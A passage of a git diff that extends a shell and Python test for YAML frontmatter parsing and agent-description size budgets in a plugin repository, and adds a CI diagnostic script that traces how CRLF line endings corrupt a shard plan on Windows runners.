tests/goal.test.sh it is a HARDCODED literal: raising it is a diff a # human approves, not something a fix loop can do to itself. # -# ANTI-VACUITY. Every row above is a for-loop over a glob, and a glob that -# matches nothing passes all four trivially. A0 pins the corpus size, so a moved -# directory or a renamed extension fails loudly instead of reporting a clean -# sweep over zero files. +# A5 ANTI-VACUITY FOR THE RULE, not just for the corpus. A1 is a loop whose +# failure population is zero by design once the tree is clean, so a +# loader that stopped refusing anything would print a green A1 forever. +# A5 drives the SAME `parse_frontmatter` A1 uses against synthetic +# blocks — including the exact #744 shape — and requires it to refuse +# the bad ones and to resolve `model` on the good one. Executed, never +# transcribed: a probe that re-implements the rule it checks is +# permanently green no matter what the shipped rule does. +# +# ANTI-VACUITY FOR THE CORPUS. Every row above is a for-loop over a glob, and a +# glob that matches nothing passes trivially. A0 pins the agent corpus size and +# floors the skill and command corpora, so a moved directory or a renamed +# extension fails loudly instead of reporting a clean sweep over zero files. +# +# The agent count is an EXACT pin because MAX_TOTAL is calibrated against it; +# the skill and command counts are FLOORS because no ratchet depends on them and +# an exact pin would red CI on every routine skill addition. Same reasoning, and +# the same shape, as the `MEASURED -ge 20` floor in tests/skill-size.test.sh. set -euo pipefail @@ -80,9 +137,17 @@ case "$(uname -s)" in esac ROOT="$(cd "$(dirname "$0")/.." && pwd)" -AGENT_DIR="$ROOT/plugins/uberdev/agents" +PLUGIN_ROOT="$ROOT/plugins/uberdev" +AGENT_DIR="$PLUGIN_ROOT/agents" +SKILL_DIR="$PLUGIN_ROOT/skills" +COMMAND_DIR="$PLUGIN_ROOT/commands" -[ -d "$AGENT_DIR" ] || { echo "FATAL: agent directory missing: $AGENT_DIR" >&2; exit 2; } +# Refuse rather than sweep a directory that is not there. A missing corpus is an +# environment fault, and A1 reporting "all 0 blocks parse" over it would be the +# vacuous-green shape the A0 floors exist to prevent. +for _dir in "$AGENT_DIR" "$SKILL_DIR" "$COMMAND_DIR"; do + [ -d "$_dir" ] || { echo "FATAL: frontmatter corpus directory missing: $_dir" >&2; exit 2; } +done PASS=0 FAIL=0 @@ -98,15 +163,36 @@ note_fail() { echo " FAIL $1"; FAIL=$((FAIL + 1)); } # (finding-verifier), which carries a real dispatch contract rather than # scaffolding. Set it any looser and it stops being a cap. # -# MAX_TOTAL is the post-#746 measured total plus a deliberate ~7% of headroom, -# so adding a normal-sized agent does not red CI on the day it lands, while a -# second ``-scale regression (thousands of chars) does. Measured -# post-#746 total: 11,720. +# MAX_TOTAL is the post-#746 measured total plus a deliberate ~7% of headroom +# (780 chars). Measured post-#746 total: 11,720. +# +# That headroom is for GROWING AN EXISTING description, not for adding an agent. +# Editing a description in place leaves the corpus size alone, so it never goes +# near A0 and A4 absorbs the growth without anyone re-pinning anything — while a +# second ``-scale regression (thousands of chars) still blows straight +# through it. Measured: growing one description by 348 chars lands A4 at +# 12,068/12,500 and every row stays green. +# +# ADDING an agent is gated by A0's exact pin, never by this headroom. A 48th +# file reds A0 the day it lands however small its description is — measured, a +# 48th agent at the corpus mean of 249 chars passes A4 with 531 chars to spare +# and reds A0 anyway — and the fix is to re-pin EXPECT_AGENTS and MAX_TOTAL in +# the same diff. That is the design and not an oversight: MAX_TOTAL is only +# meaningful as a calibration against a known corpus size, so the count it was +# calibrated against has to move with it, under the same human approval (see the +# EXACT-pin note above, and A0's own failure message). +# +# MIN_SKILLS / MIN_COMMANDS are floors for the two corpora A1 gained in #744. +# Deliberately well below the live counts (30 skills, 18 commands) so a routine +# addition never has to touch this file, while a glob that stopped matching — +# a moved directory, a renamed extension — still fails loudly. EXPECT_AGENTS=47 MAX_ONE=500 MAX_TOTAL=12500 +MIN_SKILLS=20 +MIN_COMMANDS=10 -echo "## agent description budget (#746)" +echo "## frontmatter parse (#744) + agent description budget (#746)" # `python3 -B` without `-I`: PyYAML lives in the user site-packages on a # developer machine, and `-I` implies `-s`, which drops exactly that path. The @@ -118,7 +204,8 @@ echo "## agent description budget (#746)" # below carry different meanings and must not be flattened into one `else`. probe_rc=0 PYTHONDONTWRITEBYTECODE=1 python3 -B - \ - "$AGENT_DIR" "$EXPECT_AGENTS" "$MAX_ONE" "$MAX_TOTAL" <<'PY' || probe_rc=$? + "$AGENT_DIR" "$EXPECT_AGENTS" "$MAX_ONE" "$MAX_TOTAL" \ + "$SKILL_DIR" "$MIN_SKILLS" "$COMMAND_DIR" "$MIN_COMMANDS" <<'PY' || probe_rc=$? import pathlib import re import sys @@ -128,11 +215,12 @@ import traceback # deliberately distinct, because they send an operator to opposite places: # # 0 every row passed. -# 1 a row FAILED. The A0-A4 rows printed above name which, and the fix is in -# the agent files. A genuine content violation. +# 1 a row FAILED. The A0-A5 rows printed above name which, and the fix is in +# the shipped frontmatter (A1) or the agent files (A2-A4). A genuine +# content violation. # 3 THE PROBE COULD NOT RUN — PyYAML missing, an unreadable corpus, a bad -# argv, any unexpected crash. NOTHING has been measured about any agent -# description; the fix is in the environment. +# argv, any unexpected crash. NOTHING has been parsed and NOTHING has been +# measured about any agent description; the fix is in the environment. # # rc=1 is reachable ONLY from the single explicit `SystemExit(1)` at the very # bottom. That is what the `main()` + catch-all exist for: python exits 1 on an @@ -146,19 +234,110 @@ PROBE_ERROR = 3 try: import yaml except ImportError as exc: - print("FATAL: the A0-A4 probe requires PyYAML and could not import it (%s). " - "No agent description has been measured." % exc, file=sys.stderr) + print("FATAL: the A0-A5 probe requires PyYAML and could not import it (%s). " + "No frontmatter block has been parsed and no agent description has " + "been measured." % exc, file=sys.stderr) raise SystemExit(PROBE_ERROR) FRONTMATTER = re.compile(r"^---\n(.*?)\n---\n", re.S) +# A1b — the fields each surface cannot work without, keyed by surface. +# +# `commands` requires only `description`: a command's identity IS its filename +# and none of the 18 shipped command files carry a `name:` key. Encoding that +# asymmetry rather than smoothing it over is the point — demanding `name` here +# would red 18 files for following the format correctly, and dropping the +# commands row entirely would stop guarding the one field they do need. +REQUIRED_FIELDS = { + "agents": ("name", "description"), + "skills": ("name", "description"), + "commands": ("description",), +} + + +def parse_frontmatter(text): + """(mapping, None) on a strict parse, or (None, reason) on a refusal. + + THE single source of truth for the A1 sweep and the A5 mutant probes. A5 + exists to prove this function still refuses, so it must be the very code A1 + runs — a probe driving a transcribed copy would stay green while the + shipped row rotted, which is the failure mode #744 shipped through in the + first place (`grep '^model: inherit'` matched the entire time the field was + being dropped). + """ + match = FRONTMATTER.match(text) + if not match: + return None, "no --- frontmatter block" + try: + data = yaml.safe_load(match.group(1)) + except yaml.YAMLError as exc: + # Report the parser's own message: it names the offending line and + # column, which is what makes a failure actionable rather than just red. + return None, str(exc).replace("\n", " ")[:200] + if not isinstance(data, dict): + return None, "frontmatter is %s, not a mapping" % type(data).__name__ + return data, None + + +# A5 — mutant probes for `parse_frontmatter`. Columns: +# (what the row stands for, frontmatter text, must_refuse, expected `model`) +# `must_refuse` is asserted as "a reason came back", never as an exact PyYAML +# message: the message wording is a library detail and pinning it would make a +# PyYAML upgrade look like a defect in the corpus. +MUTANTS = ( + ("#744: a plain scalar carrying a second ': ' is refused", + '---\nname: x\ndescription: does a thing: and then another\nmodel: inherit\n---\n', + True, None), + ("#744 fixed: the same description double-quoted parses, and `model` resolves", + '---\nname: x\ndescription: "does a thing: and then another"\nmodel: inherit\n---\n', + False, "inherit"), + ("#746: an block's `user: ` line is refused", + '---\nname: x\ndescription: routes work. \nuser: do the thing\n' + '\nmodel: inherit\n---\n', + True, None), + ("a frontmatter block that is a bare scalar, not a mapping, is refused", + '---\njust a string\n---\n', + True, None), + ("a file with no frontmatter at all is refused", + '# Heading\n\nbody text\n', + True, None), +) + + +def run_mutants(): + """Rows for A5. Returns a list of failure strings (empty when discriminating).""" + bad = [] + for label, text, must_refuse, want_model in MUTANTS: + data, reason = parse_frontmatter(text) + if must_refuse: + if reason is None: + bad.append("%s — parse_frontmatter ACCEPTED it (%r)" % (label, data)) + elif reason is not None: + bad.append("%s — parse_frontmatter refused it (%s)" % (label, reason)) + elif data.get("model") != want_model: + bad.append("%s — `model` resolved to %r, expected %r" + % (label, data.get("model"), want_model)) + return bad + def main(): agent_dir, expect_agents, max_one, max_total = ( pathlib.Path(sys.argv[1]), int(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4])) + skill_dir, min_skills, command_dir, min_commands = ( + pathlib.Path(sys.argv[5]), int(sys.argv[6]), pathlib.Path(sys.argv[7]), + int(sys.argv[8])) paths = sorted(agent_dir.glob("*.md")) + # Every frontmatter surface the plugin ships. Labelled by the path relative + # to the plugin root, not by `path.name`: 30 skills all name their file + # SKILL.md, so a bare filename would make a failure unattributable. + skill_paths = sorted(skill_dir.glob("*/SKILL.md")) + command_paths = sorted(command_dir.glob("*.md")) + corpus = ( + [("agents", "agents/%s" % p.name, p) for p in paths] + + [("skills", "skills/%s/SKILL.md" % p.parent.name, p) for p in skill_paths] + + [("commands", "commands/%s" % p.name, p) for p in command_paths]) failures = [] # A0 — anti-vacuity. A0 is not a style check: A1-A4 are all for-loops, and @@ -171,32 +350,54 @@ def main(): else: print(" PASS A0 the corpus is %d agent files (non-vacuous)" % len(paths)) - unparseable, oversize, with_examples = [], [], [] + # A0 floors for the two corpora A1 gained in #744. Floors, not pins: nothing + # here is calibrated against the counts, so an exact pin would only add + # churn — but a glob that stopped matching must still fail loudly. + for label, found, floor, knob in ( + ("skill", len(skill_paths), min_skills, "MIN_SKILLS"), + ("command", len(command_paths), min_commands, "MIN_COMMANDS")): + if found < floor: + failures.append( + "A0 the %s corpus is %d file(s), below the floor of %d — the " + "glob moved or the directory was renamed; A1 would otherwise " + "report a clean sweep over nothing. Fix the glob, or lower %s " + "in a diff a human approves." + % (label, found, floor, knob)) + else: + print(" PASS A0 the corpus is %d %s file(s), at or above the floor of %d" + % (found, label, floor)) + + unparseable, missing_fields, oversize, with_examples = [], [], [], [] total = 0 longest = ("", 0) + fields_checked = 0 - for path in paths: - text = path.read_text(encoding="utf-8") - match = FRONTMATTER.match(text) - if not match: - unparseable.append("%s: no --- frontmatter block" % path.name) - continue - try: - data = yaml.safe_load(match.group(1)) - except yaml.YAMLError as exc: - # Report the parser's own message: it names the offending column, - # which is what makes this row actionable rather than just red. - detail = str(exc).replace("\n", " ") - unparseable.append("%s: %s" % (path.name, detail[:200])) - continue - if not isinstance(data, dict): - unparseable.append("%s: frontmatter is %s, not a mapping" - % (path.name, type(data).__name__)) - continue + # A1 + A1b — the enabling asserts, over EVERY shipped frontmatter surface + # (#744). The agents' parsed mappings are kept as they go by, because A2-A4 + # need them and re-reading the same 47 files to re-run the same parse would + # be two chances for the two loops to disagree about what a file says. + agent_data = [] + for surface, label, path in corpus: + data, reason = parse_frontmatter(path.read_text(encoding="utf-8")) + if reason is not None: + unparseable.append("%s: %s" % (label, reason)) + continue # A1b cannot ask what is in a mapping that does not exist + for field in REQUIRED_FIELDS[surface]: + fields_checked += 1 + value = data.get(field) + if not isinstance(value, str) or not value.strip(): + missing_fields.append("%s: no usable `%s` after a strict parse " + "(got %r)" % (label, field, value)) + if surface == "agents": + agent_data.append((path, data)) + + # A2-A4 measure agent descriptions only. An agent A1 could not parse is not + # in agent_data at all, and one A1b found no `description` on is skipped + # here — both are already reported above, and there is nothing left to + # measure about either. + for path, data in agent_data: description = data.get("description") if not isinstance(description, str) or not description.strip(): - unparseable.append("%s: no usable `description` after a strict parse" - % path.name) continue size = len(description) @@ -208,13 +409,34 @@ def main(): if size > max_one: oversize.append("%s: %d chars" % (path.name, size)) - # A1 — the enabling assert. if unparseable: - failures.append("A1 %d agent frontmatter block(s) do not strictly parse:\n %s" - % (len(unparseable), "\n ".join(unparseable))) + failures.append( + "A1 %d shipped frontmatter block(s) do not strictly parse. A " + "consumer drops the WHOLE mapping — `name`, `model` and " + "`description` with it — and warns about none of it:\n %s" + % (len(unparseable), "\n ".join(unparseable))) + else: + print(" PASS A1 all %d shipped frontmatter blocks parse under a strict " + "YAML loader (%d agents, %d skills, %d commands)" + % (len(corpus), len(paths), len(skill_paths), len(command_paths))) + + # A1b — presence, not just parseability. A dropped field fails OPEN. + if missing_fields: + failures.append( + "A1b %d required frontmatter field(s) are missing. A consumer " + "substitutes a fallback — the directory name for `name`, the first " + "body line for `description` — and warns about neither:\n %s" + % (len(missing_fields), "\n ".join(missing_fields))) + elif unparseable: + # Honest under-report rather than a green over an unmeasured corpus: + # every file A1 refused was skipped above, so this row did not see them. + failures.append( + "A1b did not run over %d file(s) A1 could not parse — fix A1 first; " + "nothing has been asserted about their required fields" + % len(unparseable)) else: - print(" PASS A1 all %d agent frontmatter blocks parse under a strict YAML loader" - % len(paths)) + print(" PASS A1b all %d required frontmatter field(s) are present " + "across %d files" % (fields_checked, len(corpus))) # A2 — the #746 regression itself. if with_examples: @@ -245,6 +467,19 @@ def main(): print(" PASS A4 resident description total is %d/%d chars (~%d est tokens)" % (total, max_total, total // 4)) + # A5 — anti-vacuity for the RULE. A1's failure population is zero by design + # on a clean tree, so without this a loader that stopped refusing anything + # would print a green A1 forever. + mutant_failures = run_mutants() + if mutant_failures: + failures.append( + "A5 the frontmatter parser is not discriminating — A1 above is only " + "as strong as this row, so fix the parser, not the corpus:\n %s" + % "\n ".join(mutant_failures)) + else: + print(" PASS A5 parse_frontmatter separates all %d mutant row(s) " + "(#744 and #746 shapes included)" % len(MUTANTS)) + if failures: print() for failure in failures: @@ -260,8 +495,9 @@ try: rc = main() except Exception: traceback.print_exc() - print("FATAL: the A0-A4 probe crashed before reaching a verdict (traceback " - "above). No agent description has been measured.", file=sys.stderr) + print("FATAL: the A0-A5 probe crashed before reaching a verdict (traceback " + "above). No frontmatter block has been parsed and no agent " + "description has been measured.", file=sys.stderr) rc = PROBE_ERROR raise SystemExit(rc) PY @@ -273,14 +509,15 @@ PY # there would be no rows above it and the operator would go looking for a # defect in the agent files that was never measured, let alone found. if [ "$probe_rc" -eq 0 ]; then - pass "A0-A4 agent description budget holds" + pass "A0-A5 frontmatter parses and the agent description budget holds" elif [ "$probe_rc" -eq 1 ]; then - note_fail "A0-A4 agent description budget violated (see rows above)" + note_fail "A0-A5 a frontmatter block does not parse, or the agent description budget is violated (see rows above)" else - echo "FATAL: the A0-A4 probe could not run (exit $probe_rc) — python3 or PyYAML" >&2 + echo "FATAL: the A0-A5 probe could not run (exit $probe_rc) — python3 or PyYAML" >&2 echo " is unavailable, or the probe crashed before reaching a verdict." >&2 - echo " This is an ENVIRONMENT failure, not a budget violation: no agent" >&2 - echo " description has been measured. Nothing above this line is a finding." >&2 + echo " This is an ENVIRONMENT failure, not a finding: no frontmatter block" >&2 + echo " has been parsed and no agent description has been measured. Nothing" >&2 + echo " above this line is a finding." >&2 exit 2 fi diff --git a/tests/ci-shard-diagnose.sh b/tests/ci-shard-diagnose.sh new file mode 100644 index 00000000..144f8459 --- /dev/null +++ b/tests/ci-shard-diagnose.sh @@ -0,0 +1,416 @@ +#!/usr/bin/env bash +# tests/ci-shard-diagnose.sh — byte-level evidence for the CI shard plan (#753). +# +# REPORTER, NEVER A GATE. This script prints; it does not decide. The gates are +# tests/ci-shard-env.sh, which refuses to emit a CR-bearing plan, and the +# SHARD-COVERAGE tail in each job's run: block, which fails a shard that ran +# fewer fixtures than it was planned. Keeping the reporter separate from them +# is what lets it run on a runner whose plan is already broken. +# +# It prints, but it does not merely READ. `dump`'s section [C] carves the job's +# own `run_one` out of the live workflow and runs it, with every interpreter its +# invocations name stubbed out, so the routing verdict it reports is the one the +# job reaches rather than a transcription of the rule that reaches it. See "The +# live harness" below for why a copy there was worse than a copy anywhere else +# in this file. +# +# WHY BOTH SIDES OF THE GITHUB_ENV BOUNDARY. The plan is produced by one step +# and consumed by the next, and between them sits a file this repo's shell +# writes and the runner reads back. Under Git Bash the packer's stdout is a +# text stream, so every line it prints is terminated CRLF; the $( ) capture +# strips the trailing LF and leaves the CR, and `tr` converts the interior LFs +# and leaves every CR. Whether the FINAL CR survives that file boundary is the +# entire question: with it, `case " $PLAN " in *" $name "*` matches nothing; +# without it, it matches exactly the last entry. One side cannot tell those +# apart, so this script dumps both. +# +# TWO SHIMS, NOT ONE — the load-bearing distinction in this file. +# +# `packer-bytes` drives the real packer through an IN-PROCESS CRLF text +# stream, which is what `python3` IS under Git Bash. That is the correct +# model for the question it asks — "does the packer pin its own newline?" — +# precisely BECAUSE the answer flips the moment it does: a +# `sys.stdout.reconfigure(newline="\n")` inside the packer overrides a +# TextIOWrapper installed around it from outside. That flip is the assertion. +# +# `simulate` must NOT inherit that flip. It exists to drive the CONSUMER — +# tests/ci-shard-env.sh's CR refusal — and a guard whose only input arrives +# through the producer it is meant to test stops being tested the moment that +# producer is pinned. Measured: the same wrapper that yields 11 CR bytes +# against an unpinned packer yields ZERO against a pinned one, so a +# `simulate` built on the wrapper would return rc=0 with a clean plan and the +# refusal would ship untested. So `simulate` re-applies the CR at the PROCESS +# BOUNDARY instead — downstream of every byte the packer has already written, +# where nothing the packer can reconfigure reaches it. That is the same move +# `crlf-plan` makes on the consumer side, for the same reason. +# +# Usage: +# ci-shard-diagnose.sh dump +# ci-shard-diagnose.sh simulate +# ci-shard-diagnose.sh crlf-plan +# ci-shard-diagnose.sh packer-bytes +# +# Every verb is invoked as `bash tests/ci-shard-diagnose.sh …`; the file needs +# no execute bit and no call site relies on one. + +set -u +# PIPEFAIL, so a producer that dies inside a pipeline here cannot be reported as +# a clean empty answer — the doctrine tests/ci-shard-env.sh:16-20 already states +# for the plan itself. It also places this file in tests/epipe-guard.test.sh's +# scan set, so no pipeline below may end in an early-exiting reader (`head`, +# `read`, `grep -q`/`-l`/`-m`): every reader here drains its input. +set -o pipefail + +ci_diag_usage() { + echo "usage: ${0##*/} dump|simulate|crlf-plan|packer-bytes " >&2 + exit 2 +} + +[ "$#" -eq 4 ] || ci_diag_usage +ci_diag_verb="$1" +ci_diag_job="$2" +ci_diag_shards="$3" +ci_diag_shard="$4" +ci_diag_dir="$(cd "$(dirname "$0")" && pwd)" || exit 2 +ci_diag_cr="$(printf '\r')" + +# --------------------------------------------------------------------------- +# Shim scaffolding +# --------------------------------------------------------------------------- + +# A python that translates its stdout to CRLF is what `python3` IS under Git +# Bash. Reproducing that here drives the REAL packer through the REAL +# producer; a hand-written CRLF fixture would be a copy of the packer that +# could not drift with it. +ci_diag_write_driver() { # $1 = destination path + cat >"$1" <<'PYDRIVER' +import io +import runpy +import sys + +target = None +rest = [] +for index, arg in enumerate(sys.argv[1:], start=1): + if not arg.startswith("-"): + target = arg + rest = sys.argv[index + 1:] + break +if target is None: + sys.exit("ci-shard-diagnose driver: no script argument") + +sys.argv = [target] + rest +sys.stdout = io.TextIOWrapper(sys.stdout.buffer, newline="\r\n", write_through=True) +try: + runpy.run_path(target, run_name="__main__") +finally: + sys.stdout.flush() +PYDRIVER +} + +# Common half of both shim builders: a scratch dir with an empty bin/ and the +# real interpreter resolved from the UNSHIMMED PATH. Sets ci_diag_tmp and +# ci_diag_real_python3 for the caller; the caller owns the removal. +ci_diag_new_shim_dir() { + ci_diag_tmp="$(mktemp -d)" || return 2 + ci_diag_real_python3="$(command -v python3)" || { rm -rf "$ci_diag_tmp"; return 2; } + mkdir -p "$ci_diag_tmp/bin" || { rm -rf "$ci_diag_tmp"; return 2; } +} + +# Builds /bin/python3, a shim that execs the real python3 through the +# IN-PROCESS driver above. Echoes the tmp dir on stdout; the caller removes it. +# +# For `packer-bytes` only. This is the shim the packer's own newline pin is +# supposed to defeat, which is exactly why the row built on it is falsifiable +# on a host whose python never emits a CR of its own. +ci_diag_make_stream_shim() { + ci_diag_new_shim_dir || return 2 + ci_diag_write_driver "$ci_diag_tmp/crlf-driver.py" || { rm -rf "$ci_diag_tmp"; return 2; } + { + printf '#!/bin/sh\n' + printf 'exec "%s" -I -B "%s" "$@"\n' "$ci_diag_real_python3" "$ci_diag_tmp/crlf-driver.py" + } >"$ci_diag_tmp/bin/python3" || { rm -rf "$ci_diag_tmp"; return 2; } + chmod +x "$ci_diag_tmp/bin/python3" || { rm -rf "$ci_diag_tmp"; return 2; } + printf '%s\n' "$ci_diag_tmp" +} + +# Builds /bin/python3, a shim that runs the real python3 and re-terminates +# every line it printed as CRLF — AFTER the bytes have left that process. +# Echoes the tmp dir on stdout; the caller removes it. +# +# For `simulate` only, and the awk is the point: the packer cannot reconfigure a +# stream it has already written to and exited from, so this CR survives the +# newline pin that (correctly) defeats ci_diag_make_stream_shim. `set -o +# pipefail` inside the shim keeps awk's success from masking a packer refusal — +# ci-shard-env.sh checks that status with `|| exit 2` and must keep seeing it. +# stderr is untouched, so the packer's `--explain` balance report still passes +# through as the real producer would emit it. +ci_diag_make_boundary_shim() { + ci_diag_new_shim_dir || return 2 + # The `sub` STRIPS an existing CR before the `printf` re-adds one, so the shim + # emits exactly one CRLF per line on every host rather than `\r\r\n` on the one + # host whose python already terminates its own lines CRLF. Both shapes would + # trip a "contains a CR" refusal, but only the normalised one is the byte + # sequence a Windows runner actually produces, and this verb exists to be that + # byte sequence. Verified against one-true-awk (the most conservative of the + # three implementations in play: BSD awk here, gawk on Git Bash, mawk/gawk on + # ubuntu). + # + # Single-quoted, so `\r` reaches awk as an escape for awk to interpret and + # `$0` is awk's field, not this shell's argv. + ci_diag_boundary_awk='{ sub(/\r$/, ""); printf "%s\r\n", $0 }' + { + printf '#!/usr/bin/env bash\n' + printf 'set -u\n' + printf 'set -o pipefail\n' + printf '"%s" -I -B "$@" | awk %s\n' "$ci_diag_real_python3" "'$ci_diag_boundary_awk'" + } >"$ci_diag_tmp/bin/python3" || { rm -rf "$ci_diag_tmp"; return 2; } + chmod +x "$ci_diag_tmp/bin/python3" || { rm -rf "$ci_diag_tmp"; return 2; } + printf '%s\n' "$ci_diag_tmp" +} + +# --------------------------------------------------------------------------- +# The live harness — for `dump`'s section [C] +# --------------------------------------------------------------------------- +# +# THE ROUTING RULE IS EXECUTED, NEVER TRANSCRIBED. [C] used to hand-write the +# sentinel-space membership test and run it over names parsed out of the plan. +# That was a COPY, and the worst-placed one in this file: `dump` is the verb CI +# actually runs, and both the SHARD-COVERAGE tail and tests/ci-shard-env.sh's +# refusal name it as the thing to read when a shard comes back short. A copy +# would keep agreeing with itself while the job's `run_one` drifted, and would +# report MATCH from a rule the job no longer runs — exonerating the exact bug +# the operator was sent here to find. +# +# It also could not model the other half of the rule. `run_one` keys on the +# ARGV of an invocation, not on a plan entry: it scans the arguments for the one +# that is a fixture path and strips it to a basename. A planned name therefore +# runs only if some invocation in that job hands run_one an argument that rule +# reads as that fixture — which is a fact about the job block, not about the +# plan string, and no amount of re-reading the plan can see it. +# +# So the block is carved out of the LIVE workflow and run. This is the shape +# tests/ci-shard.test.sh's S8/S10 already use against this same file, for the +# reason stated there: a copy here would keep agreeing with itself while CI +# drifted away from it. Nothing below re-implements the membership test; the +# only thing this file still decides is WHICH of the harness's own RUN/SKIP +# lines is about which planned name. +ci_diag_workflow="$ci_diag_dir/../.github/workflows/test.yml" + +ci_diag_harness_block() { # $1 = job key -> that job's run: block, invocations included + awk -v JOB="$1" ' + $0 ~ ("^ " JOB ":[[:space:]]*$") { in_job = 1; next } + in_job && /^ [[:alnum:]_-]+:[[:space:]]*$/ { exit } + in_job && /^[[:space:]]+run:[[:space:]]*[|][[:space:]]*$/ { in_run = 1; next } + in_run { + if ($0 ~ /^[[:space:]]*$/) { print ""; next } + if ($0 !~ /^ /) { in_run = 0; next } + sub(/^ /, "") + print + } + ' "$ci_diag_workflow" +} + +# Runs that harness against the plan in THIS process's environment and writes +# its stdout+stderr to $2. rc: 0 ran, 2 could not be built, 3 extracted without +# invocations. +# +# The stubs are DERIVED from the invocation lines rather than listed here. A job +# that grows a fifth interpreter must not quietly turn this reporter into +# something that executes the suite — and a list kept here would be one more +# copy of the workflow to drift. Stubbing the leading word changes nothing the +# routing reads: `run_one` still receives the whole argv, `env MSYSTEM=MSYS bash +# tests/x.test.sh` included, and still prints it on the RUN/SKIP line. +# +# The harness's own rc is dropped on purpose. Its SHARD-COVERAGE tail exits +# non-zero on a short run, and a short run is the FINDING this section exists to +# print, not a failure of the dump. `dump` stays a reporter, never a gate. +ci_diag_harness_decisions() { # $1 = job key, $2 = destination file + [ -r "$ci_diag_workflow" ] || return 2 + ci_diag_hdir="$(mktemp -d)" || return 2 + ci_diag_harness_block "$1" >"$ci_diag_hdir/block" || { rm -rf "$ci_diag_hdir"; return 2; } + ci_diag_inv="$(awk '$1 == "run_one" { n++ } END { print n + 0 }' "$ci_diag_hdir/block")" + [ "${ci_diag_inv:-0}" -ge 1 ] || { rm -rf "$ci_diag_hdir"; return 3; } + { + awk '$1 == "run_one" && $2 != "" && !ci_diag_seen[$2]++ { printf "%s() { :; }\n", $2 }' \ + "$ci_diag_hdir/block" + cat "$ci_diag_hdir/block" + } >"$ci_diag_hdir/harness.sh" || { rm -rf "$ci_diag_hdir"; return 2; } + # `-e` is what the runner uses for a `run: |` block on all three platforms. + bash -e "$ci_diag_hdir/harness.sh" >"$2" 2>&1 + rm -rf "$ci_diag_hdir" + return 0 +} + +# --------------------------------------------------------------------------- +# Verbs +# --------------------------------------------------------------------------- + +# [C] of `dump`: what the job's OWN harness did with the plan this step +# inherited, one line per planned name, in plan order. +ci_diag_dump_routing() { + echo "--- [C] routing verdict: the plan in [B] driven through the $ci_diag_job job's OWN run_one" + ci_diag_probe="$(mktemp -d)" || { + echo " !! no scratch directory; no routing verdict" + return 0 + } + # Split exactly as before: CRs deleted, then spaces. This decides only which + # names to ASK about — every verdict below comes from the harness. + printf '%s' "${UBERDEV_SHARD_PLAN-}" | tr -d "$ci_diag_cr" | tr ' ' '\n' >"$ci_diag_probe/names" + ci_diag_harness_decisions "$ci_diag_job" "$ci_diag_probe/decisions" + ci_diag_hrc=$? + if [ "$ci_diag_hrc" -ne 0 ]; then + # NO FALLBACK, deliberately. Re-implementing the rule here when the carve-out + # fails would restore the copy this section exists not to be, and it would do + # it at the one moment the workflow is known to have moved. + echo " !! the $ci_diag_job harness could not be carved out of $ci_diag_workflow (rc=$ci_diag_hrc)." + echo " No routing verdict. tests/ci-shard.test.sh S8/S10 gate that extraction and will name the cause." + rm -rf "$ci_diag_probe" + return 0 + fi + ci_diag_cov="$(awk '/^=== SHARD-COVERAGE shard=/ { ci_diag_line = $0 } END { print ci_diag_line }' \ + "$ci_diag_probe/decisions")" + # Matched before it is stripped. A bare `##*ran=` on a line that carries no + # `ran=` returns the WHOLE line, which reads as 0 and would raise the drift + # alarm below against a run that never disagreed with anything. + case "$ci_diag_cov" in + *ran=*) ci_diag_ran="${ci_diag_cov##*ran=}" ;; + *) ci_diag_ran="" ;; + esac + # Pass 1 reads the harness's verdicts; pass 2 walks the planned names. The + # files are told apart by FILENAME rather than by FNR == NR, which silently + # mis-files the second file when the first one comes back empty. + # + # A name is matched against the BASENAME of each argument the harness printed, + # which is line identification, not the routing rule: if run_one's key ever + # stopped being the basename of a tests/ path, the verdict read off that line + # would still be the one the job reached. + awk -v DEC="$ci_diag_probe/decisions" -v RAN="$ci_diag_ran" ' + FILENAME == DEC { + if ($1 == "---" && ($2 == "RUN" || $2 == "SKIP")) { + for (i = 3; i <= NF; i++) { + tok = $i + sub(/^.*\//, "", tok) + seen[tok] = 1 + if ($2 == "RUN") ran[tok] = 1 + } + } + next + } + { + name = $1 + if (name == "") next + if (name in ran) { verdict = "MATCH"; m++ } + else if (name in seen) { verdict = "MISS"; s++ } + else { verdict = "UNWIRED"; u++ } + printf " %-5s %s\n", verdict, name + } + END { + printf " match=%d miss=%d\n", m + 0, s + 0 + if (u + 0 > 0) { + printf " unwired=%d: planned, but no invocation in this job ever handed that name to run_one.\n", u + 0 + } + # The harness counts what it ran itself. Two readings of one run that + # disagree mean this reporter has drifted from the job, which is the one + # failure a probe like this cannot be allowed to make quietly. + if (RAN != "" && RAN + 0 != m + 0) { + printf " !! this section read %d planned name(s) as run; the harness tallied ran=%s on the SAME run.\n", m + 0, RAN + } + } + ' "$ci_diag_probe/decisions" "$ci_diag_probe/names" + [ -z "$ci_diag_cov" ] || printf ' [harness] %s\n' "$ci_diag_cov" + echo " A plan of length N with match=1 is the #753 signature: only the entry" + echo " whose trailing CR was consumed at the file boundary is space-bounded." + rm -rf "$ci_diag_probe" + return 0 +} + +ci_diag_dump() { + echo "=== ci-shard-diagnose dump: $ci_diag_job shard $ci_diag_shard/$ci_diag_shards" + # $BASH_VERSION rather than a `bash --version` pipeline into an + # early-exiting reader: it names the shell actually interpreting the harness + # instead of whichever bash sits first on PATH, and it keeps this file clean + # against the rule the pipefail note above puts it in scope for. (The banned + # shape is described, never spelled, for the reason A4 in + # tests/test-harness-source-guards.test.sh states: a guard's own corpus must + # not contain its needle.) + echo "--- host: $(uname -s 2>/dev/null) / bash ${BASH_VERSION-unknown}" + + echo "--- [A] producer stdout, exactly as tests/ci-shard-env.sh emits it" + if ci_diag_emitted="$(bash "$ci_diag_dir/ci-shard-env.sh" "$ci_diag_job" "$ci_diag_shards" "$ci_diag_shard" 2>/dev/null)"; then + printf '%s\n' "$ci_diag_emitted" | sed -n 's/^UBERDEV_SHARD_PLAN=//p' | od -c + else + echo " (the producer refused; its diagnostic is on stderr in the planning step)" + fi + + echo "--- [B] \$UBERDEV_SHARD_PLAN as THIS step inherited it (after the GITHUB_ENV round trip)" + if [ -n "${UBERDEV_SHARD_PLAN-}" ]; then + printf '%s' "$UBERDEV_SHARD_PLAN" | od -c + else + echo " (unset in this step's environment)" + fi + + ci_diag_dump_routing + return 0 +} + +# simulate — the REAL producer, with a CRLF-emitting packer underneath it. +# Passes the producer's stdout and exit status through unchanged, so a caller +# sees exactly what a Windows planning step would see. +# +# The CR arrives at the process boundary (ci_diag_make_boundary_shim), NOT +# through an in-process stdout wrapper, so this verb keeps 